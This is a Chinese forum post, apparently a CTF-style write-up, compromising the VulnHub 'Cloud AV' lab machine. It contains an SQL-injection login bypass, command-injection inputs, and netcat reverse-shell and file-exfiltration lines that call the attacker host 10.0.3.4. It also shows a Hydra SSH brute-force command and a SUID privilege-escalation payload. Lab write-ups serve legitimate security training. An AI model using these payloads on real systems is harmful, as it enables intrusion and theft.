shanque打靶日记-day2

F0re4t   ·   发表于 2022-05-28 23:49:23   ·   技术文章

打靶日记day2

靶机:云防病毒扫描平台,下载地址:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/
攻击机:kali2022.2

信息收集

主机发现

这次利用arping来发现ip
优点:相比arp-scan来说用得更加广泛,很多时候机器里没有arp-scan这个比较专业的渗透工具,而arping几乎在所有linux发行版都有。
缺点:没有办法对一段ip地址进行主机发现,需要结合for循环扫描,速度比起arp-scan要慢
for i in $(seq 1 254); do arping -c 2 10.0.3.$i; done


发现10.0.3.6给了两个返回包,确认靶机ip

端口扫描

nmap -p- 10.0.3.6

服务探测

nmap -p22,8080 -sV 10.0.3.6


得到8080为web服务,python2.1.7编写

web渗透

浏览器访问8080,发现一个页面,输入邀请码,进入后台可以执行防病毒扫描服务。
类似密码登陆认证的思路:
1.sql注入绕过
抓包,把所有能输入的字符添加到字典,爆破
最后根据返回包的长度发现双引号会导致报错。
查看报错时候执行的代码发现为select语句把我们输入的双引号拼接到了查询语句导致无法闭合报错


通过报错页面收集到的信息,一堆路径,sqlite3数据库

构造" or 1=1 -- +绕过认证登陆


2.暴力破解
sql注入成功了就不暴力破解了


登陆成功后分析服务功能为输入显示的文件名,然后进行病毒扫描。
猜测扫描时候服务器主机命令行执行scan 文件名


尝试命令注入
scan hello | id
输入hello | id
成功执行。

获取shell

姿势
1.根据信息收集知道使用python2编写的,可以贴入python代码反弹shell,具体参考day1,今天换个姿势
2.使用nc来反弹shell
hello | nc 10.0.3.4 4444 -e bin/sh
没吃到shell
hello | nc 10.0.3.4 4444
发现基本连接是可以连上的,应该是靶机的nc版本没有-e这个参数
解决办法
hello | nc 10.0.3.4 4444 | /bin/bash | nc 10.0.3.4 7777
命令解析:先建立4444连接发送命令—>bin/bash解析命令—>返回结果发到7777显示。
攻击机监听两个端口4444来发命令,7777来收就可以。

内网渗透

信息收集

因为靶机介绍里说了这就是一台scanner平台的主机,而我们通过id指令也发现了当前就是处在这个靶机,所以就不需要进行跳出容器,横向之类的操作了。接下来的思路就是提权,拿到root。
ls -al


通过前面的信息收集也知道了用得sqlite3这个数据库,先看看db.sql的文件类型
file database.sql


知道是sqlite3的一个数据库文件,和刚刚sql注入时收集到的信息是一致的,怀疑database.sql就是web应用服务端的数据库。


执行sqlite发现没有对应的环境,把文件传回kali机运行环境查看

再监听一个6666端口然后将接受到的所有文件再转发到shanque.sql
nc -nvlp 6666 > shanque.sql
回到靶机
nc 10.0.3.4 6666 < database.sql


文件传到kali机后查看是否有环境运行


获得了四个密码。
INSERT INTO code VALUES(‘myinvitecode123’);
INSERT INTO code VALUES(‘mysecondinvitecode’);
INSERT INTO code VALUES(‘cloudavtech’);
INSERT INTO code VALUES(‘mostsecurescanner’);

刚刚信息收集到了这个系统是开了22ssh服务的
cat /etc/passwd | grep /bin/bash
查看可以用shell登陆的账户


root,cloudav,scanner

密码攻击

把收集到的密码和账号做成字典拿去爆破ssh
hydra -L user.txt -P passwd.txt ssh://10.0.3.6

在收集到账户密码后进行密码攻击失败

再次信息收集

把当前目录下文件都查看完后除了得到是用一个flask框架开发的扫描服务以外没有什么有效的信息了。


跳到上级目录信息收集


发现了点有意思的东西
updata_cloudav这个可执行文件
-rwsr-xr-x,具有suid权限标记位置,属主root,最后的x表示这是一个可执行文件
updata_cloudav.c它的源码
接下来就思路清晰了,suid提权
具有suid权限标记位的可执行文件,任何用户执行了这个文件,就默认继承它的属主的权限,这里就是root权限。
也就是说执行这个文件并且通过某种方法利用到了它的suid位就获得了root权限,再利用这个权限去执行nc或者任意一种方法反弹一个shell到kali机就任务完成。

suid提权

1.查看可执行文件源码


搜索后得知freshclam是clamav这个杀毒软件的病毒库的更新软件

  1. #include <stdio.h>
  2. int main(int argc, char *argv[])
  3. {
  4. char *freshclam="/usr/bin/freshclam"; //定义变量,指向这个更新病毒库程序
  5. if (argc < 2){ //定义一个执行参数
  6. printf("This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam\n"); //如果程序执行的时候不包含参数就显示这一段报错,要求我们提供一个命令行参数,程序才会正常运行去更新病毒库
  7. return 1;
  8. }
  9. char *command = malloc(strlen(freshclam) + strlen(argv[1]) + 2);
  10. sprintf(command, "%s %s", freshclam, argv[1]);//如果正常使用执行参数,程序就会运行然后更新病毒库。
  11. setgid(0);
  12. setuid(0);
  13. system(command);
  14. return 0;
  15. `

大概就是可执行文件运行的时候调用了freshclam这个更新程序,然后强制要求运行的时候命令行要给他一个执行参数。
尝试构造payload

  1. ./update_cloudav "a | nc 10.0.3.4 1111 | /bin/bash | nc 10.0.3.4 2222"

用双引号括起来,让程序认为后面这一坨都是我们给它的执行参数。
开启1111,和2222监听


成功拿到root权限!

day2总结

1.靶机发现
端口扫描
服务扫描
sql注入绕过
命令注入以及nc的使用新姿势
信息收集,账户密码
尝试密码攻击失败
信息收集,可执行文件以及源码分析
suid提权
2.靶机难度:简单
想要提高信息收集能力滴小伙伴可以来打一打。
3.新知识:
靶机上nc版本没有-e参数可以直接反弹shell时的解决办法。
使用arping去发现主机

补充部分

想了想还是把web渗透留下的暴力破解实操一下,万一以后遇到不能sql注入绕过
1.

2.kali中很多自带的字典,存放在/user/share/wordlist

3.看到邀请码为password的时候长度异常,查看返回包发现把我们重定向到了/scan这个目录,这跟sql注入绕过和对靶机信息收集的时候看到的app.py中的信息是一致的,说明验证码是正确的

用户名金币积分时间理由
Track-劲夫 70.00 0 2022-06-06 11:11:58 一个受益终生的帖子~~

打赏我,让我更有动力~

0 条回复   |  直到 2022-5-28 | 807 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.